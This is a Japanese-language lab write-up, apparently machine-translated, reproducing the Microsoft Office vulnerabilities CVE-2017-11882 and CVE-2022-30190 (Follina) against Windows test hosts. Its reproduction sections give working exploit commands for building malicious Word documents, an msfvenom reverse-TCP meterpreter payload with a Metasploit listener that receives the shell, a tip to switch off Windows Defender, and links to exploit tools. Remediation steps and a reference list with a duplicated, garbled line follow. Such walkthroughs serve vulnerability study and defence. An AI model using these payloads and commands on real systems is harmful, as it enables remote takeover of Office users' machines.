Microsoft Office の脆弱性再発 (CVE-2017-11882、CVE-2022-30190)
1 はじめに
Microsoft Office は、Microsoft Corporation によって Microsoft Windows および Mac OS X 用に開発された一連のオフィス ソフトウェアです。Office アプリケーションと同様に、フェデレーション サーバーとインターネット ベースのサービスが含まれています。中国ではほとんどの人がWindowsシステムを使用しているため、当然マイクロソフトのオフィスソフトであるOfficeの利用率はオフィスソフトの中でもダントツです。ここでは、再発する Office 関連の 2 つの脆弱性、つまり CVE-2017-11882 と CVE-2022-30190 を紹介します。
2 CVE-2017-11882
2.1 脆弱性の概要
この脆弱性は、Office のインストール プロセス中にデフォルトでインストールされる数式エディタ モジュール EQNEDT32.EXE に発生し、このモジュールは OLE テクノロジを使用して Office ドキュメントに数式を埋め込みます。この脆弱性の原因は、EQNEDT32.EXE プロセスが MathType データを読み取るときに、フォント名をコピーするときに名前の長さを検証しないため、スタック オーバーフローが発生することです。
影響を受けるバージョン: Office 2003~2016
2.2 再現環境
攻撃マシン: kali (ip: 192.168.219.134)
脆弱性悪用ツール: https://github.com/unamer/CVE-2017-11882
攻撃されたホスト: Windows 7 (ip: 192.168.219.140)
オフィス:Office 2016 (https://msdn.itellyou.cn/)
2.3 複製プロセス
脆弱性検証、ポップアップ計算機
- 攻撃スクリプトを使用して検証用の POC を生成します。つまり、コマンドを実行して計算機を開き、kali で「python -m SimpleHTTPServer」を使用して http サービスを開始し、ターゲット ホストによるダウンロードを容易にします。
python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc
- doc ファイルをダウンロードします。
- calc.doc を開いて Word を使用して編集します。
Word を使用して calc.doc を開くと、コマンドの実行後に電卓がポップアップ表示されることがわかります。
リバウンドシェルを実行する
-
msf を使用して、対応するリバウンド シェル ペイロードを生成します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=4444 -o ./sc.bin
-
msf を使用して監視します。
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.219.134 lhost => 192.168.219.134 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > run
-
リバウンド シェルのペイロードを使用して、悪意のあるドキュメント ファイル test.doc を生成します。
python CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.doc
-
上記と同様に、Python を使用して http サービスを開いて Windows にダウンロードし、次に Word を使用して test.doc を編集します。
-
リバウンドシェルの受信に成功しました。
2.4 修理の提案
- システム更新を実行するか、新しいバージョンの Office を使用してください。
- 更新パッチ、パッチ アドレス: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882。
3 CVE-2022-30190
3.1 脆弱性の概要
2022 年 5 月、Microsoft は Microsoft Windows サポート診断ツール (MSDT) のリモート コード実行の脆弱性を脆弱性番号 CVE-2022-30190 で緊急に公開しました。Microsoft Windows サポート診断ツール (MSDT) には、リモートでコードが実行される脆弱性があります。攻撃者は、特別に作成されたファイル (特別に作成された Word ファイルなど) をユーザーに開かせることで、この脆弱性を悪用できます。この脆弱性では、リモート テンプレートが使用されます。 Word などのアプリケーションの関数が悪用される可能性があるサーバーは、「ms-msdt」 URI で特別に作成された HTML を取得し、ms-msdt スキームを使用して PowerShell コードを実行します。攻撃者はこの脆弱性を悪用して、プログラムのインストール、データの表示、変更、削除、または新しいユーザーの作成を行う可能性があります。
影響を受けるバージョン: Office 2013、2016、Office Pro Plus、Office 2021、およびその他のバージョン
3.2 再現環境
攻撃マシン: kali (ip: 192.168.219.134)
エクスプロイトツール: https://github.com/chvancooten/follina.py
攻撃されたホスト: Windows 10 (ip: 192.168.219.130) 注: 実験を成功させるには、Windows Defender をオフにする必要があります。
オフィス:Office 2016 (https://msdn.itellyou.cn/)
3.3 複製プロセス
-
kali の攻撃スクリプトを使用して検証用の POC を生成します。つまり、コマンドを実行して計算機を開き、-u でリモート ホスト アドレス (kali アドレス) を指定します。
python3 follina.py -t docx -m binary -b \\windows\\system32\\calc.exe -u 192.168.219.134
- 対応するファイル clickme.docx をダウンロードし、Word を使用して編集すると、電卓が正常にポップアップ表示されます。
3.4 修理の提案
-
公式パッチを更新します。
-
cmd で管理者として次のコマンドを実行します。
reg export HKEY_CLASSES_ROOT\ms-msdt filename reg delete HKEY_CLASSES_ROOT\ms-msdt /f
参考記事4件
- CVE-2017-11882 オフィスのバッファ オーバーフローの脆弱性が再発します (http://cn-sec.com/archives/158625.html)。
- CVE-2017-11882 単純な分析 (http://wjhsh.net/banchen-p-8301416.html)。
- Microsoft Office がゼロデイ脆弱性にさらされました (https://app.myzaker.com/news/article.php?f=normal&pk=629ad5a0b15ec058725152fc)。
sh.net/banchen-p-8301416.html)。- Microsoft Office がゼロデイ脆弱性にさらされました (https://app.myzaker.com/news/article.php?f=normal&pk=629ad5a0b15ec058725152fc)。
- Microsoft Windows サポート診断ツール (MSDT) のリモート コード実行の脆弱性調査 (https://bbs.kanxue.com/thread-273196.htm)。